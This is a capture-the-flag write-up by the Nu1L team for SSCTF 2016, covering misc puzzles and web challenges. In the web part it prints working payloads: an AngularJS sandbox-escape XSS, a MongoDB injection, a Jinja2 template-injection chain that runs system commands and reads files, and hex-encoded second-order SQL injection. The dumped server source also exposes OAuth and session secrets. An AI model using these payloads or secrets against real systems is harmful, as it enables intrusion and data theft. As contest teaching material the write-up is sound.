SSCTF线上赛解题报告Part2(杂项部分&Web)

2016-03-02 357497人围观 ,发现 4 个不明物体 WEB安全头条

*原创作者:Nu1L团队

杂项部分(Misc)

Misc10(Welcome)

签到题目,啥也不说了直接上图,手机截图,请见谅。。。

m1.jpg

Misc100(Speed Data)

开始想多了,想到什么CVE什么Word漏洞上去了,后来想到才100分,想到可能是pdf隐写,所以在google上搜索pdf stego ,找了几个工具,其中一个工具叫Wbstego,直接解密了即可:

m2.png

m3.png

Misc200(Puzzle)

图片中的二维码得到

# flag = f[root]

# f[x] = d[x] xor max(f[lson(x)], f[rson(x)])                  : x isn't leaf

# f[x] = d[x]                                                     : x is leaf

wav最后1s明显有杂音,发现藏了数据

去掉一半的00,得到一个7z,剩下就是找口令了

尝试了各种wavjpg隐写,最后机智的队友居然在154秒左右听到杂音

在网上找了个大小为38.5m的渡口,进行波形比较,发现在sample501800靠后点有巨大的差异。

把那段数据截取出来,strings看下,有这样一个字符串{1L0vey0u*.*me}

利用这个口令解开了7z

解开之后是01文件夹(分别代表左右儿子),以及每个文件夹下有个d(这是每个节点的数据)

先生成个目录,按照二叉树顺序存储结构的方式读取所有数据,脚本:

mululist=[]
def readmulu():
    fm=open('mulu.txt','rb')
    while True:
        line=fm.readline().strip('\x0d\x0a')
        if line:
            mululist.append(line+'d')
        else:
            break
readmulu()

node=[]

ct=0
for ml in mululist:
    ct+=1
    #print ml
    f=open(ml,'rb')
    t=int(f.read()[2:],2)
    #print t
    node.append(t)

print ct

nodenum=127

def lson(x):
    ret=x*2
    if ret > nodenum:
        print "l erro"
        ret=0
    return ret

def rson(x):
    ret=(x*2)+1
    if ret > nodenum:
        print "r erro"
        ret=0
    return ret

def d(x):
    if x <= nodenum:
        return node[x-1]

    
def haveson(x):
    if x*2<nodenum:
        return 1
    else:
        return 0
    
def f(x):
  if not haveson(x):
        return d(x)
  else:
    l=0
    r=0
    rs=rson(x)
    ls=lson(x)
    if rs!=0:
        r=f(rs)
    if ls!=0:
        l=f(ls)
  return d(x)^max(l,r)

print hex(f(1))
'''
>>> s='53534354467b5353435446266e3163613163613126326f6936262a2e2a7d'
>>> s.decode('hex')
'SSCTF{SSCTF&n1ca1ca1&2oi6&*.*}'
'''

m4.jpg

m5.jpg

m6.jpg

Misc300(Hungry Game)

这道题目是一个js写的游戏,最终目的是打boss。

在解题的过程中,有这么几层:

第一层:有一道过不去的门,提示找钥匙但是并不知道钥匙在哪。通过阅读game.js代码可以知道,游戏通过发送msg(‘next’, {}) 来进入下一关。所以果断打开浏览器控制台输入如下代码:

ws.send(JSON.stringify([msg('next', {})]));

即可进入下一层。

第二层:从这里开始游戏不允许直接跳关。游戏要求采集9999的木头,按住空格,1秒一个。然而游戏时间限制在5分钟,通常手段必然过不去。阅读game.js得知msg(‘wood’, {‘time’: tmp})为发送到服务器的数据,tmp是时间(毫秒),所以构造payload:

ws.send(JSON.stringify([msg('wood',{'time':100000000000000})]));ws.send(JSON.stringify([msg('next',{})]));

即可进入下一关。

第三层:游戏要求采集9999的钻石,按空格一下一个。采用和第二层相同的方式,发现服务器有检查,不能按得过快(也就是不能在一次内采集过多钻石),于是改为for循环形式:

for(var i=0;i<2000;i++){ws.send(JSON.stringify([msg('diamond',{'count':5})]))};ws.send(JSON.stringify([msg('next',{})]));

即可进入下一关。

第四层:这层是boss层,游戏要求玩家攻击boss15下,提示说近战武器无法伤到boss,经过测试发现玩家靠近boss即被秒杀。于是在远离boss的位置输入如下代码:

function attack(){ws.send(JSON.stringify([msg('attack',{'x':boss.x,'y':boss.y})]));setTimeout("attack()",1000);};attack();

等待15秒即可获得flag。

效果:

m7.png

Misc400(Warrior And Tower III) —–比赛时未作出来,赛后做

这道题目到现在我也没搞懂…

这是道算法题目,是要玩一个捡肥皂的游戏。游戏开始从左到右有6个桩子,每个桩子旁边有一堆肥皂,玩家可以把任意块肥皂从某个桩子移动到下一个桩子,最后没有肥皂可以捡的玩家输掉游戏。

一开始一直在想怎么获胜,写了好几种方式然而都没有什么卵用,直到赛后队友告诉我这个是通过AI的bug来获得flag的:因为AI每次捡肥皂只能捡桩子周围两个距离以内的,但是AI还要捡完周围的,所以把肥皂连城一条线就能获胜。

……好吧

- -、然而并没有做出来,赛后搞定就当做纪念吧。

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys

EMAIL = 'I won\'t give you this.'
PWD = 'I won\'t give you this.'
io = remote('socket.lab.seclover.com',23333)

def cls():
	
	return

class GameSolver:
	def __init__(self,io):
		self.MAP = []
		self.BLOCK = []
		self.PIVOT = []
		self.POSX = 0
		self.POSY = 0
		self.IO = io
		self.MAXX = 0
		self.MAXY = 0
		self.PA_FOUND = 0
		self.PA_RESULT = 0
		self.PO_FOUND = 0
		self.PO_RESULT = 0
		return
		
	def StartGame(self):
		self.IO.recvuntil("Input 'start' to start the game\r\n")
		self.IO.sendline('start\n')
		self.ReadMap()
		self.DumpInfo()
		return
		
	def ScanPivot(self,pos,id):
		DIRECTION = [(0,-1),(0,1),(1,0),(-1,0)]
		self.VISITED[pos[0]][pos[1]] = 1
		for i in DIRECTION:
			nextx = pos[0] + i[0]
			nexty = pos[1] + i[1]
			if self.MAP[nextx][nexty] == '@' and not self.VISITED[nextx][nexty]:
				# self.MAP[nextx][nexty] = '0'
				self.BLOCK[id].append((nextx,nexty))
				self.ScanPivot((nextx,nexty),id)
				# self.MAP[nextx][nexty] = '@'
		return
		
	def GetPivotAdjacentFreeSpace(self,pos):
		DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]
		DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]
		self.VISITED[pos[0]][pos[1]] = 1
		for i in DIRECTION:
			nextx = pos[0] + i[0]
			nexty = pos[1] + i[1]
			if not self.VISITED[nextx][nexty]:
				if self.MAP[nextx][nexty] == '@' and not self.PA_FOUND:
					self.GetPivotAdjacentFreeSpace((nextx,nexty))
				elif self.MAP[nextx][nexty] == '.':
					adj = 0
					for j in DIRECTIONJ:
						kx = nextx + j[0]
						ky = nexty + j[1]
						if self.MAP[kx][ky] == '@': adj += 1
					if adj > 1:
						continue
					self.PA_FOUND = 1
					self.PA_RESULT = (nextx,nexty)
					return
				elif self.PA_FOUND:
					return
		return
		
	def GetPivotOutsideBlock(self,pos):
		#print pos
		#DIRECTION = [(1,0),(-1,0),(0,-1),(0,1)]
		#DIRECTIONJ = [(1,0),(-1,0),(0,-1),(0,1)]
		DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]
		DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]
		self.VISITED[pos[0]][pos[1]] = 1
		for i in DIRECTION:
			nextx = pos[0] + i[0]
			nexty = pos[1] + i[1]
			#print 'Going ', (nextx,nexty)
			if not self.VISITED[nextx][nexty] and self.MAP[nextx][nexty] == '@':
				self.GetPivotOutsideBlock((nextx,nexty))
				if self.PO_FOUND:	return
				for j in DIRECTIONJ:
					kx = nextx + j[0]
					ky = nexty + j[1]
					if self.MAP[kx][ky] == '.':
						self.PO_FOUND = 1
						self.PO_RESULT = (nextx,nexty)
						return
		return
		
	def GetPivotPos(self,id):
		return self.PIVOT[id]
	
	# FIXED
	def ReadMap(self):
		
		# init
		self.MAP = []
		self.BLOCK = []
		self.PIVOT = []
		self.POSX = 0
		self.POSY = 0
		map_buf = list(self.IO.recv(99999))
		t = map_buf
		try:
			while map_buf[0] != '#':
				map_buf.pop(0)	# remove all dummy characters
		except Exception,e:
			print e, t
			self.IO.interactive()
		X = 0
		Y = 0
		while 1:
			self.MAP.append([])
			Y = 0
			while 1:
				ch = map_buf.pop(0)
				#print ord(ch)
				if ch == '\n':
					self.MAXY = Y
					break
				self.MAP[X].append(ch)
				Y += 1
			X += 1
			if len(map_buf) == 0:	break
		
		self.MAXX = X
		# scan map for pivots
		self.VISITED = []
		for i in range(self.MAXX):
			self.VISITED.append([])
			for j in range(self.MAXY):
				self.VISITED[i].append(0)
		
		for i in range(self.MAXX):
			for j in range(self.MAXY):
				if self.MAP[i][j] == 'A':
					self.POSX = i
					self.POSY = j
				elif self.MAP[i][j] == '$':
					self.BLOCK.append([])
					self.ScanPivot((i,j),len(self.PIVOT))
					self.PIVOT.append((i,j))
		return
	
	def GotoPos(self,pos,ignoreBlocks=True):
		print 'Going to', pos
		path = ''
		q = []
		visit = []
		for i in range(self.MAXX):
			visit.append([])
			for j in range(self.MAXY):
				visit[i].append(0)
		visit[self.POSX][self.POSY] = 1
		q.append({'pos':(self.POSX,self.POSY,''),'prev':0})
		DIRECTION = [(0,1,'l'),(1,0,'j'),(-1,0,'k'),(0,-1,'h')]
		while len(q) > 0:
			cur = q.pop(0)
			if cur['pos'][0] == pos[0] and cur['pos'][1] == pos[1]:
				while isinstance(cur,dict):
					path = cur['pos'][2] + path
					cur = cur['prev']
				return path
			for i in DIRECTION:
				next_x = cur['pos'][0] + i[0]
				next_y = cur['pos'][1] + i[1]
				if not visit[next_x][next_y] and self.MAP[next_x][next_y] != '#' and self.MAP[next_x][next_y] != '$':
					if not ignoreBlocks and self.MAP[next_x][next_y] == '@':	continue
					q.append({'pos':(next_x,next_y,i[2]),'prev':cur})
					visit[next_x][next_y] = 1
		# cannot get there
		return ''
		
	def SendCmd(self,cmd,interactive=False):
		log.info("Cmd : " + cmd)
		self.IO.sendline(cmd)
		if interactive:
			self.IO.interactive()
		else:
			self.ReadMap()	# Reload Map
			self.DumpInfo()
		return
	
	def DumpInfo(self):
		print self.MAXX, self.MAXY
		for i in range(self.MAXX):
			for j in range(self.MAXY):
				sys.stdout.write(self.MAP[i][j])
			sys.stdout.write('\n')
		print self.MAXY * '-'
		'''
		for i in self.PIVOT:
			print 'PIVOT : ', i
		for i in self.BLOCK:
			print 'BLOCK : ', i
		'''
		return
	
	def ClearVisited(self):
		self.VISITED = []
		for i in range(self.MAXX):
			self.VISITED.append([])
			for j in range(self.MAXY):
				self.VISITED[i].append(0)
		return
	
	def MoveFromTo(self,f,t,num=-1):
		k = num
		if num == -1:	k = 99999
		for i in range(k):
			if len(self.BLOCK[f]) == 0: break
			self.PO_FOUND = 0
			self.ClearVisited()
			self.GetPivotOutsideBlock(self.GetPivotPos(f))
			if self.PO_FOUND == 0:
				log.warning("Cannot find an outside block!")
				exit(0)
			pos = self.PO_RESULT
			self.SendCmd(self.GotoPos(pos) + 'L')
			self.PA_FOUND = 0
			self.ClearVisited()
			self.GetPivotAdjacentFreeSpace(self.GetPivotPos(t))
			if self.PA_FOUND == 0:
				log.warning("Cannot find an outside block!")
				exit(0)
			pos = self.PA_RESULT
			self.SendCmd(self.GotoPos(pos,False) + 'P')
		
		return
		
	def BackToOrigin(self,interactive=False):
		self.SendCmd(self.GotoPos((1,1),True),interactive)
		return
		
	def CloseGame(self):
		self.IO.close()
		return
		
	def Solve(self):
		self.MoveFromTo(3,4,10)
		self.BackToOrigin(True)
		return

def main():
	io.recvuntil('Email Addr :')
	io.sendline(EMAIL)
	io.recvuntil('Password   :')
	io.sendline(PWD)
	
	try:
		Game = GameSolver(io)
		Game.StartGame()
		Game.Solve()
		Game.CloseGame()
	except Exception,e:
		print e
		io.interactive
	
	return 0

if __name__ == '__main__':
	main()

效果:

m8.png

Web

Web100(Up!Up!Up!)

一个上传,研究了半天都没解决,什么常规的方法都试过了,能改的属性都改过了,最后队友看了看包,来了句,可没可能在上传表单属性Content-Type: multipart/form-data;那里有个判断啊,瞬间觉得世界明亮了,于是就这么拿了flag!

Web200(Can YouHit Me?)

Gg了一篇文章,然后肯定是测试最新那个了—但发现过滤了on、eval、alert等字符,双写绕过。

Payload:

http://960a23aa.seclover.com/index.php?xss={{'a'.coonnstructor.prototype.charAt=[].join;$evevalal('x=1}} };aleralertt(/ssctf_Nu1L/)//');}}

Web300(Legend?Legend)

又是MMD。。。。。。。。。。一篇文章

本来想测试下,结果貌似又被搅屎了,然后就报不了js错误直接跳回首页了,就拿最终的图吧。

然后就利用return构造,payload:

http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.getCollectionNames()),password:2};//&password=test

w3.jpg

http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.user.find()[0])};//&password=test

然后邮箱登录。。。我还问西瓜牛为啥没有flag。。。

w5.jpg

翻了翻邮箱,找到~

 Web400(Flag-Man)

一开始以为是cookie哪里改成赵日天= == = == = == = = =无力吐槽,然后在乌云看到一篇文章,点击题目的login,发现name的value是你github账号名字,于是开了开脑洞:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

为了简短代码,

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}

得到索引是59

# 循环查看所有的模块 发现有os, __file__,
__builtins__等,可以用open


{% for i in range(0, 10) %} {{
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i]
}} {% endfor %}

但是要先知道当前文件名,所以

{{
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__)
}}

得到文件名  ssctf.py,然后读文件

{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py",
"r").read() }}

得到

name:# -*- coding: utf-8 -*- from flask import Flask,abort,request,session,redirect,render_template_string import os import json import datetime import urllib import re import time import hashlib #import sqlite3 import threading from rauth.service import OAuth2Service BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = os.name =='nt' if DEBUG: WEBHOME = 'http://127.0.0.1/' else: WEBHOME = 'http://b525ac59.seclover.com/' github = OAuth2Service( name='github', base_url='https://api.github.com/', access_token_url='https://github.com/login/oauth/access_token', authorize_url='https://github.com/login/oauth/authorize', client_id= '6ad5ab3c971c740adf64', client_secret= 'd6aed929c3b9bf713a37435c117619dcd46194e1', ) app = Flask(__name__) app.debug = DEBUG app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl" app.flagman = (1,'flagman','SSCTF{dc28c39697058241d924be06462c2040}','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') # app.lastid = 1 # app.lock = threading.Lock() # def getnewid(): # app.lock.acquire() # app.lastid+=1 # newid = app.lastid # app.lock.release() # return newid # def dbinsert(name,uid,pic): # newid = getnewid() # app.user[newid] = (name,uid,pic) # return newid # def dbfind(user_id): # userinfo = app.user.get(user_id) # if userinfo: # return (user_id,)+userinfo # return None # def dbfind_uid(uid): # for u in app.user: # if app.user[u][1]==uid: # return (u,)+app.user[u] # return None # app.dbcon = sqlite3.connect(":memory:", check_same_thread=False) # app.dbcur = app.dbcon.cursor() # app.dbcur.executescript('''CREATE TABLE "user" ( # "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, # "name" TEXT, # "uid" TEXT, # "pic" TEXT # ) # ; # CREATE UNIQUE INDEX "id" # ON "user" ("id" ASC); # CREATE UNIQUE INDEX "uid" # ON "user" ("uid" ASC); # ''') # def dbinsert(name,uid,pic): # sql = '''INSERT INTO "user" ("name", "uid", "pic") VALUES (?,?,?);''' # app.dbcur.execute(sql,(name,uid,pic)) # app.dbcon.commit() # return app.dbcur.lastrowid # def dbfind(user_id): # sql = '''SELECT * FROM "user" where id = ?''' # rows = app.dbcur.execute(sql,(user_id,)) # for id,name,realuid,pic in rows: # return (id,name,realuid,pic) # return None # dbinsert('howmp','uid','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') @app.route('/user/') def user(): userinfo = session.get('info') if not userinfo: #session.pop('info') return "please login first.
Powered by Flask/0.11.2" user_id,name,realuid,pic = userinfo if user_id == 1: user_id,name,realuid,pic = app.flagman name = str(name) pic = str(pic) template = u'''
name:''' + name + '
uid:{{ realuid }}
id:{{ user_id }}' #template += u"
{{app.secret_key}}" return render_template_string(template,**(dict(globals(), **locals()))) @app.route('/') def index(): def _link(): params = {'redirect_uri': WEBHOME+'callback'} icon = u'' return """
%s
""" % (github.get_authorize_url(**params), icon) html = """ %slogin
only / and /user,no other pages! """ % _link() return html @app.route('/callback') def callback(): code = request.args.get('code') if not code: abort(401) data = dict(code=request.args['code'], redirect_uri=WEBHOME+'callback', ) try: auth = github.get_auth_session(data=data) me = auth.get('user').json() session['info']=[2,me['name'],me['id'],me['avatar_url']] return redirect('/user/') except Exception,e: return e if __name__ == '__main__': app.run(host='0.0.0.0',port=80)

因为最后没截图了,就拿这当吧,当时拿到py源码发现有app.flagman- -改github昵称,利用这篇文章中的{{…….}}进行绕过:

w6.jpg

访问下就行了:

w7.jpg

Web500(AFSRC-Market)—–比赛时未作出来,赛后做

比赛时没有发现给的hint竟然还有一个单词叫is_number,明显的是这个函数造成的过滤不严格,使得恶意数据通过十六进制插入数据库造成二次注入,代码的话首先测试的是904 and 1=1,构造payloadhttp://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d31,访问之后再http://edb24e7c.seclover.com/userinfo.php的myinfo下发现了moneyw9.png尝试904 and 1=0money变为 w10.png,报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆数据库名,构造904 and 1=0 union select 1,2,SCHEMA_NAME,4 frominformation_schema.SCHEMATA limit 1,1;#,得到payloadhttp://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c534348454d415f4e414d452c342066726f6d20696e666f726d6174696f6e5f736368656d612e534348454d415441206c696d697420312c313b23,然后查表,构造http://edb24e7c.seclover.com/add_cart.php?id=0x904and 1=0 union select 1,2,table_name,4 from information_schema.tables wheretable_schema=’web05′;#得到flag表,爆字段数,构造904 and 1=0 union select 1 from flag #,依次select 1 select1,2,发现在select 1,2,3,4的时候w12.png money3,所以,得出结论,flag表有四个字段,其中第三个字段上有东西,根据经验把目标锁定在flag,于是构造904 and 1=0 union select 1,2,flag,4 from flag #,得到的payloadhttp://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c666c61672c342066726f6d20666c61672023,之后发现,得到数据库名w11.png

于是访问http://edb24e7c.seclover.com/2112jb1njIUIJ__tr_R/tips.txt得到tips:

1、Congratulationsfor you !You finished 80%,Come on continue!

2、token=md5(md5(username)+salt)salt max lenght is 5(hexs)

3、Add the MoneyGet the Flag

提示很明显了,根据提示,得到自己token然后爆破就可以了

首先找到表名,http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c7461626c655f6e616d652c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d27776562303527206c696d697420312c313b23,构造payload,得到user表,构造payload为904 and 1=0union select 1,2,token,4 from user  whereusername =’Albertchang’ #,访问http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c746f6b656e2c342066726f6d20757365722020776865726520757365726e616d65203d27416c626572746368616e67272023后在money得到自己的token:4e35baffcafd958795c0efed53bfb080,然后写个脚本爆破首先对自己的用户名Albertchang进行md5为18dda757bd3c9977b65d519a3cb81fbc,然后写脚本,补上一到五个字符进行md5

import hashlib
def md5(str):
    import hashlib
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()
li = []
s = '18dda757bd3c9977b65d519a3cb81fbc'
chars = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
for i in chars :
    li.append(s+i)
for i in chars :
    for j in chars :
        li.append(s+i+j)
for i in chars :
    for j in chars :
        for k in chars :
            li.append(s+i+j+k)
for i in chars :
    for j in chars :
        for k in chars :
            for l in chars :
                li.append(s+i+j+k+l)
for i in chars :
    for j in chars :
        for k in chars :
            for l in chars :
                for m in chars :
                    li.append(s+i+j+k+l+m)
for i in li :
    if md5(i) == '4e35baffcafd958795c0efed53bfb080' :
        print i

得到18dda757bd3c9977b65d519a3cb81fbc8b76d,所以salt8b76d。之后addmoneyburp抓包改一下saltforward就得到flag了:

w8.png

最后,感谢四叶草的@kun@line@zhao瓜皮等辛勤的工作人员,给我们带来了一场精彩的比赛,让我们也学到了很多东西,同时也鄙视一下一直在搅屎web300那个注入的脑残。。。。。

*原创作者:Nu1L团队,本文属FreeBuf原创奖励计划,未经许可禁止转载

更多精彩
相关推荐
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php